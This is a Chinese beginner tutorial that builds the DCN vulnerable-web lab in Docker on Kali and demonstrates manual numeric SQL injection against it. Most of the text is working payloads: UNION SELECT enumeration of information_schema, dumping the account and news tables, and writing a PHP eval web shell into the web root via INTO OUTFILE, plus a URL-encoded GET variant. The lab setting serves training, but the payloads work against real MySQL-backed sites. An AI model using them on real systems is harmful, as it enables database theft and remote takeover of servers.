【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入
Docker是近几年来十分流行的开源容器引擎,开发者可以打包自己的应用到容器里面,然后迁移到其他机器的Docker应用中,实现快速部署。
环境搭建
首先,在kali中搭建这个DCN靶机系统,进入kali、打开终端、在终端里输入:
1、apt-get install docker
2、apt-get install docker.io
PS:如果出现“找不到软件包”错误,请检查你的kali是不是更新过的。
然后启动Docker服务:
1、service docker start
查看Docker服务运行状态:
1、service docker status
PS:一般此时的状态会很显眼的显示一个绿色的【active(running)】。
接着是要把Docker镜像上传到kali里面,导入镜像:
1、docker load < dcn_web_test.tar
2、docker load < dcn_upload.tar
这里导入的时候可能要花一段时间。
接着可以看一下Docker 镜像:
1、docker images
这里我们会发现REPOSITORY 和 TAG下面都显示“<none>”,我们来修改一下对应值:
1、docker tag [你的IMAGE ID] dcn_web_test:V 1.0
2、docker tag [你的IMAGE ID] dcn_upload:V 1.0
完成这些之后,就可以启动了!
启动:
1、docker run -itd -p 8888:80 dcn_web_test:V 1.0
容器运行之后,直接访问kali的IP地址,我的kali地址是192.168.10.100:
1、http://192.168.10.100:8888/
之后可以看到我们的靶机分为七个模块,包含了常见的Web漏洞。
接下来要展示的是:SQLi数值型注入。
示例演示
目标:获得所有的数据库信息和数据表信息,甚至提权、上传一句话木马等。
1)尝试输入数字1,submit提交,有结果输出:
2)输入数字2,submit提交,有结果输出:
3)输入数字3,submit提交:
4)判断是否存在注入:输入:3 or 1=1,submit:
5)继续使用order by猜测有多少列
输入:3 or 1=1 order by 1 desc,表示对select查询结果集,按照第1列值降序排列,不加desc,默认按升序排列。
6)尝试通过union猜测显示的列
输入:1 union select 1,2,3,submit提交:
7)通过union select获取当前数据库用户和版本号,显示在第2列
输入:3 union select 1,user( ),3,submit提交
输入:3 union select 1,version( ),3,submit提交
8)通过union select获取当前数据中所有的数据表,显示在第2列一个单元格中
输入:
3 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database( ),submit提交。
group_concat( )函数,将当前列的所有结果连接到一起,放到一个单元格中;information_schema,是系统数据库,类似于SQL Server中的Master数据库,如下图所示:
information_schema.tables,其中tables是information_schema数据库中的一个数据表,存储了mysql中所有的数据表名称,如下图:
table_schema,是tables表中的列名称;database( )函数,表示当前数据库,如下图:
Submit提交的结果如下图:
9)通过union select获取已知数据表的所有列名称,显示在第2列一个单元格中,例如输入:
3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='account'
3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'
10)通过union select获取已知数据表的已知列的所有内容,显示在第2列和第3列的两个单元格中。
例如获取account表格的id列和rest列的所有内容,输入:
3 union select 1,group_concat(id),group_concat(rest) from account
3 union select 1,group_concat(rest),group_concat(own) from account
3 union select 1,group_concat(id),group_concat(title) from news
3 union select 1,group_concat(title),group_concat(content) from news
输入:
3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/ttt1.php'
错误提示如下:
这种错误,一般是由于当前Mysql服务的Linux用户不具备对该目录的写入权限导致。
如何查看当前Mysql服务进程所属用户?
假设可以登录Linux控制台,进入Docker容器的系统环境:
查看站点目录的权限:
站点目录默认一般为 /var/www/html ,查看html目录的权限如下:cd /var/www
ls -l -d html ,截图如下:
假设存在一个站点子目录,任何用户都具备写入权限,那么情况会怎样呢?
接下来继续测试通过select方式写入一句话木马文件:
输入:
3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/test-sql/ttt1.php'
submit提交,截图如下:
在Linux控制台中可以看到成功写入的一句话木马php文件:
注意事项:
如果没有提供输入框和submit,那么如何实现注入?
如果是get方式提交请求,那么可以直接在URL中实现注入,如:
http://192.168.7.61:8888/sql_injection/sql_num.php?id=3+union+select+1%2Cversion%28%29%2C3&submit=submit
直接修改“?”号后面的内容即可,空格符在URL中用“+”号表示,逗号在URL中用“%2C”表示,左括号“(”在URL中用“%28”表示,右括号“)”在URL中用“%29”表示。
这样一次SQL手工注入并连接shell就完成了,大家看懂了吗?